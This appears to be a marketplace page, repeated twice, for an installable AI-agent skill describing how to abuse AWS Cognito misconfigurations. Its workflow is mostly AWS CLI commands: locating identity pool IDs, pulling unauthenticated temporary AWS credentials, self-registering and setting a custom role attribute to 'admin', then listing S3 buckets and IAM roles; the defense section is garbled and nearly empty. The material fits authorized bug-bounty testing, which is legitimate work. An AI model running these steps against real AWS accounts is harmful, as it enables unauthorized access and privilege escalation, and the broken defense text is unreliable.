aws-cognito-abuse

Name: aws-cognito-abuse
Author: ShulkwiSEC

18stars5forks

How to install aws-cognito-abuse?

shulkwisec/bb-huge/aws-cognito-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-cognito-abuse

Installs into the current project.

Summary

Exploit misconfigurations in AWS Cognito, specifically focusing on unauthorized identity pool access, user pool self-registration issues, and privilege escalation via custom attributes to access broader AWS infrastructure.

Files · 1

View on GitHub

SKILL.md

1	# AWS Cognito Abuse
2
3	## When to Use
4	- When testing applications hosted on AWS that utilize Amazon Cognito for user authentication (User Pools) and authorization (Identity Pools).
5	- To demonstrate how improper attribute mapping or overly permissive unauthenticated roles in Cognito can lead to full AWS account compromise.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying Cognito Parameters
17
18	```bash
19	# grep -r "us-east-1:[0-9a-fA-F-]*" .
20	```
21
22	### Phase 2: Exploiting Identity Pools (Unauthenticated Access)
23
24	```bash
25	# aws cognito-identity get-id --identity-pool-id "us-east-1:xxxx-xxxx-xxxx" --region us-east-1
26
27	# aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyy-yyyy-yyyy" --region us-east-1
28
29	# export AWS_ACCESS_KEY_ID=ASIA...
30	export AWS_SECRET_ACCESS_KEY=...
31	export AWS_SESSION_TOKEN=...
32	```
33
34	### Phase 3: Exploiting User Pools (Self-Registration & Attributes)
35
36	```bash
37	# aws cognito-idp sign-up --client-id xxx --username testuser@hacker.com --password "Password123!"
38
39	# aws cognito-idp update-user-attributes --access-token yyy --user-attributes Name="custom:role",Value="admin"
40	```
41
42	### Phase 4: Exploiting IAM Privileges
43
44	```bash
45	# aws sts get-caller-identity
46	aws s3 ls
47	aws iam list-roles
48	```
49
50	#### Decision Point 🔀
51	```mermaid
52	flowchart TD
53	A[Discover Pool IDs ] --> B{Identity Pool Access? ]}
54	B -->\|Yes\| C[Get Temporary AWS Credentials ]
55	B -->\|No\| D[Analyze User Pool ]
56	C --> E[Enumerate AWS Environment ]
57	```
58
59	## 🔵 Blue Team Detection & Defense
60	- Disable Unauthenticated Access: Attribute Write Permissions: Least Privilege IAM: Key Concepts
61	\| Concept \| Description \|
62	\|---------\|-------------\|
63	## Output Format
64	```
65	Aws Cognito Abuse — Assessment Report
66	============================================================
67	Target: [Target identifier]
68	Assessor: [Operator name]
69	Date: [Assessment date]
70	Scope: [Authorized scope]
71	MITRE ATT&CK: [Relevant technique IDs]
72
73	Findings Summary:
74	[Finding 1]: [Severity] — [Brief description]
75	[Finding 2]: [Severity] — [Brief description]
76
77	Detailed Results:
78	Phase 1: [Phase name]
79	- Result: [Outcome]
80	- Evidence: [Screenshot/log reference]
81	- Impact: [Business impact assessment]
82
83	Phase 2: [Phase name]
84	- Result: [Outcome]
85	- Evidence: [Screenshot/log reference]
86	- Impact: [Business impact assessment]
87
88	Risk Rating: [Critical/High/Medium/Low/Informational]
89	Recommendations:
90	1. [Immediate remediation step]
91	2. [Long-term hardening measure]
92	3. [Monitoring/detection improvement]
93	```
94
95
96	## 📚 Shared Resources
97	> For cross-cutting methodology applicable to all vulnerability classes, see:
98	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
99	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
100	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
101
102	## References
103	- Notion Security: [Cognito Security Misconfigurations](https://notion.so/security)
104	- AWS Docs: [Amazon Cognito Authentication Flow](https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html)

People who liked this also viewed

6 picks

Type

aws-cognito-abuse

18stars5forks

View on GitHub

How to install aws-cognito-abuse?

shulkwisec/bb-huge/aws-cognito-abuse

$npx -y skills add ShulkwiSEC/bb-huge --skill aws-cognito-abuse

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# AWS Cognito Abuse
2
3	## When to Use
4	- When testing applications hosted on AWS that utilize Amazon Cognito for user authentication (User Pools) and authorization (Identity Pools).
5	- To demonstrate how improper attribute mapping or overly permissive unauthenticated roles in Cognito can lead to full AWS account compromise.
6
7
8	## Prerequisites
9	- Authorized scope and rules of engagement for the target environment
10	- Appropriate tools installed on the attack/analysis platform
11	- Understanding of the target technology stack and architecture
12	- Documentation template ready for findings and evidence capture
13
14	## Workflow
15
16	### Phase 1: Identifying Cognito Parameters
17
18	```bash
19	# grep -r "us-east-1:[0-9a-fA-F-]*" .
20	```
21
22	### Phase 2: Exploiting Identity Pools (Unauthenticated Access)
23
24	```bash
25	# aws cognito-identity get-id --identity-pool-id "us-east-1:xxxx-xxxx-xxxx" --region us-east-1
26
27	# aws cognito-identity get-credentials-for-identity --identity-id "us-east-1:yyyy-yyyy-yyyy" --region us-east-1
28
29	# export AWS_ACCESS_KEY_ID=ASIA...
30	export AWS_SECRET_ACCESS_KEY=...
31	export AWS_SESSION_TOKEN=...
32	```
33
34	### Phase 3: Exploiting User Pools (Self-Registration & Attributes)
35
36	```bash
37	# aws cognito-idp sign-up --client-id xxx --username testuser@hacker.com --password "Password123!"
38
39	# aws cognito-idp update-user-attributes --access-token yyy --user-attributes Name="custom:role",Value="admin"
40	```
41
42	### Phase 4: Exploiting IAM Privileges
43
44	```bash
45	# aws sts get-caller-identity
46	aws s3 ls
47	aws iam list-roles
48	```
49
50	#### Decision Point 🔀
51	```mermaid
52	flowchart TD
53	A[Discover Pool IDs ] --> B{Identity Pool Access? ]}
54	B -->\|Yes\| C[Get Temporary AWS Credentials ]
55	B -->\|No\| D[Analyze User Pool ]
56	C --> E[Enumerate AWS Environment ]
57	```
58
59	## 🔵 Blue Team Detection & Defense
60	- Disable Unauthenticated Access: Attribute Write Permissions: Least Privilege IAM: Key Concepts
61	\| Concept \| Description \|
62	\|---------\|-------------\|
63	## Output Format
64	```
65	Aws Cognito Abuse — Assessment Report
66	============================================================
67	Target: [Target identifier]
68	Assessor: [Operator name]
69	Date: [Assessment date]
70	Scope: [Authorized scope]
71	MITRE ATT&CK: [Relevant technique IDs]
72
73	Findings Summary:
74	[Finding 1]: [Severity] — [Brief description]
75	[Finding 2]: [Severity] — [Brief description]
76
77	Detailed Results:
78	Phase 1: [Phase name]
79	- Result: [Outcome]
80	- Evidence: [Screenshot/log reference]
81	- Impact: [Business impact assessment]
82
83	Phase 2: [Phase name]
84	- Result: [Outcome]
85	- Evidence: [Screenshot/log reference]
86	- Impact: [Business impact assessment]
87
88	Risk Rating: [Critical/High/Medium/Low/Informational]
89	Recommendations:
90	1. [Immediate remediation step]
91	2. [Long-term hardening measure]
92	3. [Monitoring/detection improvement]
93	```
94
95
96	## 📚 Shared Resources
97	> For cross-cutting methodology applicable to all vulnerability classes, see:
98	> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
99	> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
100	> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class
101
102	## References
103	- Notion Security: [Cognito Security Misconfigurations](https://notion.so/security)
104	- AWS Docs: [Amazon Cognito Authentication Flow](https://docs.aws.amazon.com/cognito/latest/developerguide/authentication-flow.html)

People who liked this also viewed

6 picks

Type